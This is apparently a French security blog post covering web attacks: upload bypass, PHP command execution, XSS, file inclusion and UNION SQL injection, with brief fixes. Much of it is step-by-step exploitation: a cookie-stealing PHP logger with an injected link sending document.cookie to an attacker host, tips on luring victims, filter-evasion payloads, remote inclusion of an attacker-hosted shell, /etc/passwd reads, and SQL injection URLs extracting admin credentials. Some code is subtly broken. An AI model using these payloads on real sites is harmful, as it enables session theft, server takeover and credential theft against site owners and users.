Don't Learn to Hack but Hack to Learn ***** Apprendre l'attaque pour mieux se défendre

dimanche 5 août 2012

Faille Upload

La faille Upload :
 

1. Définition :

L’upload permet le transfert de fichiers (des images, des documents PDF et autres), depuis votre machine vers un site web qui est le serveur, mais souvent les scripts d’upload contiennent des vulnérabilités car les développeurs oublient  Souvent de vérifier et valider les types des fichiers téléchargés vers le serveur.

2. Comment l'exploiter ?


Cette faille peut être exploitée de différentes manières.

2.1.    Certains scripts d'uploads ne vérifient pas l'extension des fichiers, donc nous pouvons uploader  n’importe quel fichier. (Shell etc)

2.2.    Contournement de la vérification de l’extension de fichier

Avant de l'envoie de notre script php « fichier.php » on doit d’abord modifier son extension en extension image  « fichier.jpg » par exemple.
Lors de l'envoie de ce dernier, pendant que le serveur vérifie l'extension de notre fichier « fichier.jpg » nous pouvons modifier tout simplement le « fichier.jpg »en « fichier.php » dans l'en-tête Content-type, le script comprendra qu'il s'agit d'une image alors que c'est un script php.

2.3.    Contournement de la vérification du contenu du fichier image

Possibilité de tromper la vérification encore une foi, cette fois ci, le script ne vérifie pas les extensions, mais seulement la 1ere ligne du fichier afin de vérifier si le fichier est une image.
Généralement dans les images gif par exemple, la 1ere ligne est "GIF89a;", il vous suffit d'ajouter cette ligne à votre script php, et le serveur considérera votre script comme une image

cas pratique:
voire ce video

3. Solutions de Fille Upload :
La meilleure stratégie pour se protéger conter la faille upload est de limiter la capacité des attaquants afin d'appeler des fichiers de vue de leur emplacement de uploade. Par exemple, les fichiers doivent être uploadés à des répertoires qui existent en dehors de la voie d'application. Cela signifie que le fichier peut toujours être lu par le serveur web, mais ne peut jamais être appelé directement par un attaquant via une URL spécifique.

Donc il faut interdire un attaquant d’appeler les fichiers uploadés
cas pratique:
voire ce video

Command Execution

 Commande Execution :
 1.Introduction:

Le langage PHP possède une fonction « System() » permettant d'utiliser directement des commandes systèmes. Ainsi il est évident que cette fonction peut s'avérer dangereuse puisque si l'attaquant réussi à détourner un script utilisant cette fonction, Voyons tout d'abord un schéma classique. Le webmaster désire afficher la date sur son site web. Il pourra alors procéder ainsi :


<?php
echo System("date");
?>



Ce qui affichera :
La date du jour est: 06/05/2012

Remarque : il ya d'autre fonctions permet l'exécution de commandes comme:

System ()       exec ()shell_exec()  popen()
proc_open()  passthru()
2.Comment l'exploiter ?
Cependant imaginez que le webmaster en question désire passer ses commandes dans un variable, en pensant que cela lui facilitera la lecture de son script, ou pour n'importe quelle autre raison. Il procédera alors ainsi :


<?php
echo system($REQUEST['cmd']);
?>

 

Si nous le consultons de cette manière : http://site/system.php?cmd=date, le serveur nous affichera le même type de résultat que précédemment. Cependant il suffit que nous modifions la variable $cmd par une autre commande pour voir apparaitre d'autre chose


Par exemple :
http://site/system.php?cmd=cat /etc/passwd
Ce qui affichera :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh

Il est donc, comme nous l'avons vu, possible de corrompre le système ou encore utiliser des programmes; cependant il est beaucoup plus pratique pour une question de lecture des données, d'utiliser cette méthode dans le but d'obtenir un maximum d'information sur le serveur (version du kernel, port ouvert, distribution ...).

cas pratique:
voire ce video


2.Solutions de Commande Execution :

2.1.Solution mois sécurisé
Pour éviter cette faille il faut repérer le caractère pipe '|' et arrêter le script et ne pas oublier d'effectuer une recherche sur l'équivalent du pipe en URL-Encode (à savoir %7c).

Il savoir aussi que  cette méthode fonctionne aussi avec les caractères & (and) ou encore ; (point virgule).

Exemple pour le caractère 'pipe' :


if( (strstr($cmd, "|")) || (strstr($cmd, "%7c") )
{
echo "Erreur : caractere interdit !";
break();
  }


2.2.Solution sécurisé
La solution la plus sécurisé est de ne mettre pas une variable comme un argument pour la fonction « system() » cela voudra dire que il faut mettre la commande qu’on veut utiliser directement dans la fonction system().

cas pratique:
voire ce video

Cross Site Scripting

Cross Site Scripting (XSS) :
1. Définition :

"XSS" est une abréviation pour «Cross Site Scripting» a l’origine CSS (Cross Site Scripting) changé pour ne pas confondre avec le CSS des feuilles de style (Cascading Style Sheet), Il s'agit de l'injection non prévue de code HTML ou JavaScript sur un forum de discussion, un livre d’or ou un chat ou une zone de recherche  d'un site Web qui ne filtre pas les  entrées (input).

En d'autres termes, l'attaquant peut injecter un script malveillant dans un site Web, et le navigateur exécute ce scripte

2. Les types XSS :

2.1.Reflected XSS:


Lorsque l'injection sera à la fin de l'url ou dans une zone de recherche, la faille n'affecte que l'ordinateur local, ce qui signifie que la page du site web n'est modifiée que pour un utilisateur précis. La chaîne entrée par l'internaute se retrouve affichée dans l'adresse URL du site web.

exemple:

search.php

<?php

echo $_GET['search'];

?>

xss.html

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" media="screen" type="text/css" title="Design" href="style.css" /> 
<title>XSS</title>
</head>
<body>
<h1 align="center" class="titre">FAILLE XSS</h1>
<form method="get" action="search.php">
   <textarea name="search" style="width: 436px; height: 102px"></textarea>
<p>&nbsp;</p>
   <input type="submit" class="button" value="Submit" />
   </Form>
   </body>

Comme vous pouvez voir que la variable $_GET['search'] n'est pas sécurisé donc quand l'utilisateur injecte un code malveillant JS, Il va exécuter.

2.2.Stored XSS :

Lorsque L'attaquant envoie le code au serveur (exemple, dans un forum Web) Le serveur le stocke et l'envoie tel quel au client lors de la génération et la visualisation de la page

Ce type XSS est le plus dangereux. Les informations entrées par l'utilisateur sont définitivement stockées dans une base de données. C'est par exemple le cas lors d'une inscription ou lors de l'envoi d'un message dans un forum, l'internaute rentre des balises HTML ou des scripts JavaScript, alors l'information sera stockée dans la base de données et restituée à tous les futurs internautes affichant le message posté sur le forum.

exemple
<?php
if(isset($_POST['s']))
{
$message=trim($_POST['textMessage']);
$name=trim($_POST['textName']);

$query = "INSERT INTO table (comment,name) VALUES (
'$message','$name');";
$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');
}
?>

les deux paramètres dans le code "message" et "name" ne sont pas désinfectés correctement, le, nous stockons ces paramètres dans la table le livre d'or, alors quand nous l'affichage de ces paramètres de retour du navigateur du client, il va exécuter le code malveillant JavaScript.

2.3 DOM XSS
Le problème est dans le script d'une page côté client. Par exemple, si un fragment  de JavaScript accède à un paramètre d'une requête d'URL, et utilise cette information  pour écrire du HTML dans sa propre page, et que cette information n'est pas encodée sous forme d'entités HTML, alors il y a probablement une vulnérabilité de type XSS.
 Les données écrites seront réinterprétées par le navigateur comme du code HTML contenant éventuellement un script malicieux ajouté.

exemple:

document.referrer

La propriété document.referrer est fixé par le navigateur et la page qui représente liée à la page en cours. Considérons le code HTML suivant:

<html>
    <head>
    <title>victim page</title>
    </head>
    <body>
    <p>
    Vous avez été envoyé ici par:<script>document.write(document.referrer);</script>
    </p>
    </body>
    </html>

Si la chaîne document.referrer contient du code JavaScript, ce code sera
 exécuté dans le contexte actuel. Pour exploiter ce type de vulnérabilité, un
attaquant doit avoir une page intermédiaire à partir duquel il relie à la page
vulnérables. L'attaquant envoie le lien de la page à la victime;

http://www.attacker.com/domxsspage.html?<script>lecode malveillant</script>

3.Détecter la faille :


Pour vérifier la présence d'une faille XSS, il suffit de faire passer un script dans une zone de recherche ou un formulaire, par exemple :
<script>alert("XSS Hacking");</script> qui provoquera l'affichage d'une boîte de dialogue,si cela ne fonctionne pas, il n'y a aucune raison de s'inquiéter,Cela signifie que le site web Utilise des techniques de filtrage pour éviter failles XSS, mais il ya des méthodes de détournement des filtre XSS qu'on va voir après.
4. Risques liés à XSS :

L'exploitation d'une faille de type XSS permettrait à un intrus de réaliser les opérations suivantes :
-Redirection de l'utilisateur.
-Vol d'informations, par exemple cookies.
-modification sur le site.
   

5. Comment exploiter la faille XSS :

Après la détection que le site qu'on veut attaquer est vulnérable, en exploitant la faille par injection d'un code complet JavaScript. Par exemple, laissez-nous d'entrée <script>alert ('HACKING') </ script> dans une zone de recherche par exemple, une boîte de dialogue s'affiche avec le mot HACKING. Donc, nous avons réussi à exploiter la faille XSS. En étendant le code avec un script malveillant, un pirate peut faire voler les cookies ou de défigurer le site et  encore plus.
6. Scriptes d'exploitation :

Premièrement voila quelques scriptes pour tester l'exploitation de la faille XSS :


<script>alert(12345)</script>
<ScRiPt>prompt(995041)</ScRiPt>
<script>alert(" test" ) ;</script>
« ><script>alert(1)</script>
<script>alert(document.cookie)</script>
<script SRC=http ://localhost/xss/cookies.php ?’+document.cookie></script>
<script>document.location=’http ://localhost/xss/cookies.php ?’+document.cookie</script>

<body onload="document.body.innerHTML='<h1>test !!</h1>';">
<script>document.documentElement.innerHTML="<h1>test !!</h1>";</script>


<META http-equiv="refresh" content="0;URL=http://www.evilesite.com">

<IFRAME WIDTH=100% HEIGHT=300 SRC="http://www.evilesite.com"></IFRAME>


%2BADw-script%2BAD4-alert(document.cookie)%2BADw-%2Fscript%2BAD4-


7.Exemple d’exploitation


71-vole de cookies
C’est quoi Un cookie ?
Un cookie en informatique c’est un petit bloc de données forgé par un site web et récupéré à la prochaine connexion. Un petit exemple : vous allez pour la première fois sur un site web, vous vous loguez et cochez une case «connexion automatique», un cookie est forgé, car à chaque fois que vous reviendrez sur le site web, vous serez logué automatiquement car le site web aura vu votre cookie ! Avec la faille XSS, nous pourrons voler le cookie de l’admin et le modifier, afin que le site web nous reconnaisse en tant qu’admin (Récupération des identifiants de session de l'admin Dans le cookie).

Etape 1: Création un fichier php qui va voler le Cookie


Maintenant créer un nouveau fichier et l'enregistrer comme log.txt (laisser en tant que vide). Ne changez pas le nom, c'est le nom du fichier
qu'on va l'utiliser dans le fichier php.

Maintenant, vous aurez deux fichiers;
1. voler.php
2. log.txt

Le fichier ci-dessus voler.php obtenir  le  cookie et stocke ces données dans le fichier log.txt.

<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('log.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo '<b>Désolé, cette page est en construction</b></br></br>SVP Cliquer<a
href="http://www.google.com/">ici</a> pour revenir à la page précédente ';
?>


Étape 2:
Inscrivez-vous en une zone d'hébergement Web gratuit et uploader les fichiers voler.php et log.txt dans le dossier racine.
donc notre fichier sera par exp à http://www.YourSite.com/voler.php.

Étape 3: exploitation de la vulnérabilité XSS
Jusqu'à présent, nous avons affiné notre scie. Maintenant, nous allons l'utiliser.
Une fois que vous mis en place tout, trouvé un site vulnérable, puis injecter le code suivant dans ce site.

Voici le code JavaScript que nous allons injecter dans le navigateur de la victime.


<a onclick="document.location='http://Yoursite.com/voler.php?
cookie='+escape(document.cookie);" href="#">Click here for Details</a>

ce script besoin d'interaction utilisateur, car il imprime un lien vers l'utilisateur, si l'utilisateur clique sur ce lien, la redirection vers votre site avec les informations du cookie sera effectué.

Donc l'attaquant doit envoyer le lien aux victimes par un email par exemple. Chaque fois qu'ils suivre le lien, sont cookie sera volé.  je vous laisse avec votre inélégance de piéger la victime afin de cliquer sur ce lien.
Remarque :
Vous pouvez encoder le script en entier dans le code HEX de sorte qu'il ne peut pas être filtré.
Par exemple: alerte <script> ("hack"); </ script> peut être convertir en hexadécimal comme suit:
%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

On aura donc www.site/xss/search?p=%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

cas pratique:
voire ce video

8.Solutions de (XSS)

8.1. Techniques de contournement de filtrage XSS :

Les filtres etles contrôles XSS c'est un problème pour ceux qui veulent exploiter la faille XSS, cependant y a des astuces pour détourner quelques filtres utilisé par les développeurs

8.1.1. La directive magic_quotes_gpc = On

Dans le fichier de configuration php.ini il ya une directive magic_quotes_gpc si elle est à On elle va ignorer <'>, <"> et <\> qui se retrouve dans les scriptes XSS, car ces scriptes contient ces caractères,et pour contourner ce filtre on utilse la fonction String.FormCharCode() mais  avantde l’utiliser il faut coder d'abord la partie de script xss qui contient les caractères non autorisés en ASCii . Si on veut utiliser le scripte <script>alert("XSS Hacking");</script> on doit coder XSS Hacking en ascii. Supposant qu'on trouve 112,132,134,111,122 , on utilise String.formCharCode() dans le script comme suit:

<script>alert(String.formCharCode(112,132,134,111,122));</script> pour éviter d'utiliser les guillemets "

8.1.2. Le codage par hexadécimal:
Nous pouvons encoder notre script en entier dans le code HEX de sorte qu'il ne peut pas être filtré.
Par exemple: alerte <script> ("hack"); </ script> peut être convertir en hexadécimal comme suit:
%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

Après,on injecte le code dans le site comme suit :
www.site/xss/search?p=%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

8.1.3. Obfuscation :

cette méthode est la plus faible, elle consiste à interdire les mots qui sont souvent utilisés dans les scriptes XSS (script, alert ,...etc) si par exemple les mot script, alert sont interdit,donc  ce cas on va réécrire le script de la manière suivante:

<ScRipT>AleRt("XSS Hacking");</ScRipT>

8.2. La solution la plus sécurisé :

Nous utilisons la fonction htmlentities() avec deux arguments :
- Le premier sera votre variable
- le second est ENT_QUOTES, pour transformer les quottes en « &quot; » et donc interdire les guillemets.

Exemple :
Code : PHP
$texte = htmlentities($_POST[‘texte’],ENT_QUOTES);

cas pratique:
voire ce video

Faille Include

La faille Include :

1. Définition:

   
La fonction include() est l’une des fonctions php les plus utilisées  , elle permet l’appel de pages depuis une autre , elle a pour objectif d'inclure  un fichier et d'interpréter son contenu sur le serveur.
 Supposons par exempleque toutes vos pages utilisent la page sql.php dans laquelle sont contenues vos informations SQL (paramètres de connexion à la base de données), il convient del’inclure dans chacune de vos pages plutôt que de retaper l’équivalent de sql.php dans toutes vospages qui nécessitent la connexion à la base de données.

Voici donc un exemple pour mieux éclaircir :
L’url du site : http://www.site.com/index.php?page=contact.php
La page index.php ici aurait la structure suivante :
<?
…………….
include("sql.php");
include($page);
……………
?>

2. Les type de la faille include :

2.1.DistantFI(Remote FI) :

Il faut savoir que PHP est capable d’inclure un fichier distant via le protocole http. L’inclusion de fichiers à distance et d'interpréter son contenu sur le serveurprovoque  une faille de sécurité.

2.2. Local FI :

 LFI (Locale Fille Include) Consiste à inclure un fichier local sur le serveur (existe sur le serveur)
  
Voici un exemple de code vulnérable:


<?php
if(isset($_GET['page']))
include($_GET['page']);
else
include('index.php');
?>

Ce bout de code regarde si la variable "page" est contenue dans l'URL, et si c'est le cas, elle inclut le fichier de même nom que le contenu de la variable. Sinon, elle inclut une page par défaut, par exemple index.php

La fonction est utilisée avec une variable non-contrôlé, l’utilisateur peut donc accéder à cette variable et indiquer un autre fichier dans l’URL via la barre d’adresse du navigateur.
 
3. Détecter une faille include :

Voyons un peu comment détecter la présence de cette faille.

Cela se fait de manière assez simple. Essayer de modifier tous les paramètres possibles de l'URL et d'observer le résultat. Le but est de faire tenter d'inclure une page qui n'existe pas. L'erreur résultante produira un warning PHP comme par exemple :

Warning: include(http://localhost/c99.txt) [function. include]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\wamp\www\rfi\rfi.php on line 4

Warning: include () [function.include]: Failed opening 'http://localhost/c99.txt' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\rfi\rfi.php on line 4

Par conséquent, si vous détectez un message de ce type sur un site, il y a de fortes chances qu'une faille include soit présente.

4. Techniques d'exploitation :


4.1. Exploitation Interne :


Reprenons notre Exemple : http://www.site.com/index.php?page=contact.phpIci la page index.php recevait comme paramètre la page contact.php pour ensuite l’inclure, donc si on remplace contact.php par un fichier sensible existant sur le serveur, index.php l’inclurai, ce qui nous permettrai de le lire.

Voici quelques exemples :
http://www.site.com/index.php?page=../../../../../../../etc/passwd
Ici le site afficherais le contenu du répertoire /etc/.

4. 2.Exploitation Externe :

Reprenons encore une fois notre Exemple : http://www.site.com/index.php?page=contact.php
Ce genre d’exploitation est le plus dangereux, ici c’est un script php hébergé sur notre propre serveur qu’on pourrait inclure a l’aide d’un appel extérieur de la sorte :
http://www.site.com/index.php?page=http://www.votreserveur.com/script-malfesant.php ce  « script-malfaisant » s’occupera du reste.

Nous supposons que nous disposons d'un shell (c99 par exemple) ou qu’on peut tester pour une simple page contenant :

<?
echo "Bonjour tout le monde" ;
 ?>

Maintenant, il ne nous reste plus qu'à placer notre page sur notre serveur préféré, et à l'inclure. Mais il ne faut pas oublier un détail crucial, en effet,  jamais notre Shell a pour extension « .PHP » et si nous le plaçons sur notre serveur qui exécute le PHP, puis que nous tentons de l'inclure sur le serveur vulnérable, elle sera exécutée non pas par le serveur vulnérable, mais par le serveur qui l'héberge (le notre). Il faut donc
Renommer notre shell avec une extension différente de PHP, par exemple « .Txt, JPG »etc.
Nous pouvons donc appeler la page vulnérable de cette manière :

http://site/script.php?page=http://evilsite.com/shell.txt

Le contenu de la page http://evilsite.com/shell.txt sera interprété.

5. Technique du l'octet nul (null byte):

Nous savons exploiter une include() de façon simple, imaginons quele code vulnérable est désormais celui-ci :


<?php
if(isset($_GET['page']))
include($_GET['page'] . ".php");
else
include('index.php');
?>


Ici, l'extension ".php" est automatiquement rajoutée à la variable. Cela veut dire que le« shell» va  avoir une extension .php. Nous devons donc, en théorie, nous trouver un serveur n'exécutant pas PHP pour placer notre shell, sinon cela ne marchera pas.

Pour contourner ce problème :on utilise la technique de l'octet nul (null byte). Cela consiste à rajouter l'extension voulue de notre shell (.txt par exemple) et à placer un zéro ASCII. Comme nous allons le passer dans l'URL, on doit l'encoder. Son encodage sera donc "".

Il faudra donc inclure :

http://site/script.php?page=http://evilsite.com/shell.txt

La fonction include va être traitée par une fonction programmée en langage C. Et en langage C, on désigne la fin d'une chaîne de caractères par un octet null . Pour le dernier exemple, on aura :

shell.txt.php

Mais comme indique la fin de la chaîne de caractère, tout le reste sera ignoré

Cette technique ne marche pas toujours, Cela dépend de la  configuration du serveur et les vérifications faites dans le script.

Remarque:

Il est aussi faisable d'inclure un fichier dans le serveur qui ne porte pas  l’extension .php contenant des informations sensibles. Par exemple le fichier /etc/passwd

On tente de deviner dans quel répertoire il se trouvent les fichiers q'on cherche, en testant successivement des paramètres comme "../../passwd" ou "../../../passwd" etc, tout dépend de l'emplacement de fichier qu'on veut.


cas pratique:
voire ce video

6.    Solutions Faille Inclusion :
 
6.1. Comment se protéger contre LFI et RFI ?


Vous pouvez constituer un tableau contenant toutes les pages dont l'inclusion est autorisée, et juste avant de faire une inclusion, vous vérifiez la présence de cette page dans le tableau, ou bien vous spécifiez directement les pages autorisés à inclure.

 Pour automatiser tout cela, il est préférable de faire une fonction "include_secure($page)" par exemple qui fait ce travail de manière systématique pour vous.

Voila un code  sécurisé :


< ?php
if ($rfi != "index.php" and $rfi != "contact.php") {
echo "error";
die;
}
include ("$rfi");
?>


6.2. Quelque protection non sécurisés :


A-Il suffit d’utiliser la fonction file_exists() qui renvoi true si le fichier existe sur notre serveur et false si il n’existe pas.

Exemple :


<?php
if(file_exists($_GET[‘page’]))
include($_GET[‘page’]) ;
else
echo“la page demandé n’existe pas!”   
 ?>


Cette solution corrige la faille remote file include (RFI)
Attention:
Ce script est vulnérable  aux LFI.


B-Interdireles slash:
Ce script corrige la faille LFI car il interdit le (../) dans la variable GET


< ?php
function sec($i)
{
$i = str_replace ("../","","$i");
include($i’]) ;
}
sec("$lfi");
 ?>


On peut détourner ça en utiliser le chemin directement sans utiliser../ (exemple:  C:\AppServ\www\image\shell.txt)

C- interdire HTTP
Ce script corrige la faille RFI car il interdit le http dans la variable GET


< ?php
function sec($i)
{
$i = str_replace ("http","","$i");

include($i’]) ;
}
sec("$lfi");
 ?>


Attention:
Ce script est vulnérable aux LFI.

Remarque :


1-Require() est équivalent à include() vous devez procéder de la même manière.

2- Si vous n'avez pas besoin d'inclure des fichiers à distant, la directive

allow_url_include dans lefichier de configuration php.ini doit être impérativement passée à Off



cas pratique:
voire ce video

SQL injection

SQL injection :

Définition :

Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application web, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité.

Le langage SQL, «StructuredQueryLanguage », est le langage standardisé d'interrogation des bases de données.

Les techniques d'injection SQL consistent à introduire du code supplémentaire dans  une requête SQL. Elles permettent à un utilisateur malveillant de récupérer des données de manière illégitime ou de prendre le contrôle du système.

Le contexte des injections SQL est très varié, il concerne toutes les applications utilisant une base SQL.

1.Attaques de type "SQL injection :

1.2C   1.1. contournement de l’authentification :

1.1.1. Principede fonctionnement:

Commençons par regarder comment fonctionne une requête SQL.L’utilisateur fournit à l'application un nom utilisateur et un mot de passe. Si ceux-ci correspondent, il est authentifié et peut utiliser l'application.

L'exemple suivant montre l'exploitation d'une faille sur une page d'authentification non sécurisée.

La page est codée comme suit :

<?php

$username = $_POST['user'];

$password = $_POST['pass'];

$req=“SELECT * FROM users WHERE user_name='$username' AND

user_password='$password'” ;

$result = mysql_query ($req) or die (mysql_error());

if(mysql_affected_rows()>0)

{

    echo "Correct user name and password";

}else{

    echo "Wrong user name and password";

}

?>


Supposant que les paramètres d'authentification sont «  Ahmed » et « password ».

Donc après la saisie d’ahmed et password, la requête SQL devient :

SELECT * FROM users WHERE user_name='ahmed' AND user_password='password'

Les données entrées par l'utilisateur influent directement sur la requête et donc sur le résultat de celle-ci. Si aucun enregistrement n'est trouvé, c'est que soit le nom d'utilisateur, soit le mot de passe est incorrect. Pour être identifié dans cette application, il faut que la requête retourne un ou plusieurs enregistrements. Les techniques de SQL injection consistent justement à manipuler les entrées de l'application de façon non prévue par les développeurs pour altérer le fonctionnement en utilisant les paramètres:

user_name='ahmed' or '1'='1 'user_password=' ahmed' or '1'='1 '

On put utiliser: ' or '1'='1 on obtient:

user_name='' or '1'='1' AND user_password='' or '1'='1'

On obtient la requête suivante :

SELECT * FROM users WHERE user_name='ahmed'or '1'='1' AND user_password='ahmed' or '1'='1'

'1'='1' étant toujours vrai, user_name='' or '1'='1' et user_password='' or '1'='1' sont toujours vrai donc la condition complète est toujours vérifiée.('x' or '1'='1' est toujours vrai quelque soit x appartient à {vrai, faux} donc l'utilisateur est considéré comme authentifié malgré onn’a pas saisi les bons  paramètres d'authentification.

1.1.2. Comment détecter la présence d'une SQL injection :

L'exploitation d'une faille par injection SQL peut être facile par la présence de message d'erreur dans l'application. Cherchons à rendre la requête SQL invalide.

<?php

$username = $_POST['user'];

$password = $_POST['pass'];

$req=“SELECT * FROM users WHERE user_name='$username' AND

user_password='$password'” ;

$result = mysql_query ($req) or die (mysql_error());

if(mysql_affected_rows()>0){

    echo "Correct user name and password";

}else{

    echo "Wrong user name and password";

}

?>

Suite à la saisie d'une simple quotte(')  dans ce formulaire, la requête devient invalide et provoque l'affichage d'un message d'erreur:

“You have an error in your SQL syntax”

Ce script est donc vulnérable, mais il faut aussi tester l'utilisation de double-quotte pour tester cette faille. Cependant le serveur où le script s'exécute peutêtre configuré pour ne pas afficher de message d'erreur (Mettre display_errors = Off dans php.ini par exemple) ou bien utiliser des try/catch (C#, Java, PHP5 ...) pour gérer les exceptions, les anomalies de fonctionnement et donner l'impression d'un fonctionnement normal de l'application.

1.2. UNION SQL Injection

L’objectif de la commande SQL «UNION » et de combiner les résultats de plusieurs requêtes, l’SQL injection  par la commande UNION permit d’injecter une autre requête afin d’obtenir  des informations sensible de la base de données comme par exemple le nom et le mot de passe de l’administrateur de l’application web. 

1.2.1Comment détecter la présence de cette vulnérabilité

On peut aussi détecter la présence d'une SQL injection par la saisie d'une simple quotte à la fin de l'URL sous  forme: <<page.php?id=integer>> d'un site web, par exemple si on suppose que nous avons un site comme celui-ci :http://www.site.com/article.php?id=5

exemple de code:
<?php
          $id = $_GET['id'];
          $result = mysql_query( "SELECT * FROM article WHERE id = '$id'");
            ...................
          ?>


Maintenant  on ajoute à la fin de l'URL une quote << ' >>:

  http://www.site.com/article.php?id=5'

si nous obtenons une erreur sur la page comme: You have an error in your SQL syntax; ....
ou le contenu de la page se change Cela signifie que le site est vulrnable à l'injection SQL

Probleme:

On veut avoir le login et le mot de passe de l'administrateur de site, nous ne connaissons pas le nom de la table qui contient l'admin et son mot de passe ainsi que les différents champs de cette table; donc pour réussir à afficher des informations importantes sur les différentes tables de la Bdd, plusieurs challenges se posent à nous:


1.2.2Trouver le nombre de colonnes d'une table

pour trouver le nombre de colonnes on utilise l'instruction ORDER BY

Trier par numéro de colonne permet de tester si cette colonne existe tout simplement incrémenter le nombre jusqu'à ce que nous obtenons une erreur sur la page.


http://www.site.com/news.php?id=5 order+by+1--  ( aucune erreur) ie: la colone 1 existe

http://www.site.com/news.php?id=5 order+by+2--  ( aucune erreur)

http://www.site.com/news.php?id=5 order+by+3--  ( aucune erreur)

.                        .
.                        .
.                        .
.                        .


http://www.site.com/news.php?id=5 order+by+10--  ( aucune erreur)

http://www.site.com/news.php?id=5 order+by+11--  ( erreur nous recevons un message comme celui-ci:

Unknown column '11' in 'order clause') ie: la colonne 11 n'existe pas cela signifie que l'on a 10 colonnes, car nous avons une erreur sur 11.

Remarque: MySQL considère que ce qui suit un < -- > est un commentaire et ignore les caractères suivants, cela permet de ne pas être gêné par le guillemet simple (quote) venant de la requête d'origine, si ça marche pas avec -- on peut utiliser /* par exemple (voir la syntaxe sql) .


1.2.3.Conaitre les colonnes infectés:

Une fois connaitre le nombre de colonnes, on réalise une première union.

http://www.site.com/article.php?id=5+union+all+select+1,2,3,4,5,6,7,8,9,10-- (nous avons déjà constaté que le nombre de colonnes sont 10 de la section 4.1 )

si nous voyons quelques chiffres sur la page, c'est à dire 1 ou 2 ou 3 jusqu à 10, les colonnes affichés sont vulnérables.

s'il s'affiche pas des chiffres utiliser << - >> avant la valeur de la variable infecté ie:

http://www.site.com/article.php?id=-5+union+all+select+1,2,3,4,5,6,7,8,9,10--

supposons que nous avons le numéro 3 sur la page (la colonne 3 est infecteé).

Remarque:

temps en temps le numéro est affiché à la place de titre de la page ou dans le code source  et n'est pas sur la page


http://www.site.com/article.php?id=5+and+1=2+union+all+select+1,2,3,4,5,6,7,8,9,10--


1.2.4.Récupération de version de la base

nous remplaçons le numéro 3 par @@version ou version ()

http://www.site.com/article.php?id=5+union+all+select+1,2,version(),4,5,6,7,8,9,10--

et on va obtenir quelque chose comme par exemple 4.1.33-log ou 5.0.45 ou similaire.

on peut faire une combinaison pour avoir la vaesion, l'utilisateur et le nom de la bdd en meme temps

en utilisant: concat(user(),0x3a,version(),0x3a,database())

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(user(),0x3a,version(),
0x3a,database()),4,5,6,7,8,9,10--


1.2.5Obtenir le nom de la table et ses colonnes:

-----> si la version de MySQL est <5  ( 4 )  (comme: 4.1.33, 4.1.12, ...) nous devons deviner le nom de la table et le nom de colonne manuellement ie: on prépare une liste qui contient les noms des table et les noms des colonnes les plus utilisés par les développeurs et on va essayer touts les combinaisons possible. par exemple voila quelques noms:


user(s), admin(s), membre(s),administrator(s), administrateur(s) etc...

http://www.site.com/article.php?id=5+union+all+select+1,2,3,4,5,6,7,8,9,10+from+admin--

si vous obtenez une erreur, essayez un autre nom de table.

On suppose qu'On voi le numéro 3 sur la page comme avant, donc c'est bon la table admin existe)

maintenant reste à vérifier les noms de colonnes, voila quelques noms:

noms de colonne pour l'utilisateur et le mot de passe : username, user, usr,login, user_name, password, pass, passwd, pwd etc...

http://www.site.co/article.php?id=5+union+all+select+1,2,user,4,5,6,7,8,9,10+from+admin--

si vous obtenez une erreur, essayez autre nom de colonne.

On suppose qu'On obtient le nom d'utilisateur s'affiche sur la page, par exemple root donc la colonne user existe

Et par la même manière on essaye de trouver le mot de passe

http://www.site.co/article.php?id=5+union+all+select+1,2,pass,4,5,6,7,8,9,10+from+admin--

si vous obtenez une erreur, essayez autre nom de colonne.

on suppose qu'On voi le mot de passe sur la page crypté(en md5, sha1, etc) ou en claire donc la colonne pass existe

On peut faire une combinaison pour avoir l'utilisateur et son mot de passe à la fois en utilisant:   concat(user,0x3a,pass)

notre requête finale:

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(user,0x3a,pass),4,5,6,7,8,9,10+from+admin--


----> si la version de MySQL est >= 5

 on peut utiliser deux méthodes:

 Methodes1:

Comment obtenir les noms des table et des colonne ?

Pour cela nous avons besoin de:  information_schema. Il contient toutes les tables et les colonnes de la base de données.

----->Pour obtenir les table nous utilisons table_name et information_schema.tables

http://www.site.com/article.php?id=5+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.tables--

http://www.site.com/article.php?id=5+union+all+select+1,2,table_name,4,5,6,7,8,9,10+from+information_schema.tables--

ici on a remplacé le nombre 3 avec table_name pour obtenir la première table de

INFORMATION_SCHEMA.TABLES

Pour afficher toute les tables à la fois en utilisant group_concat() ou on peut utiliser aussi limit *,1 (limit 0,1 limit 1,1 limit 2,1 etc...)

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables--   (si ya pas d'erreur on utilise group)

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables--

on suppose qu'on a trouvé la table admin parmi les table trouvés


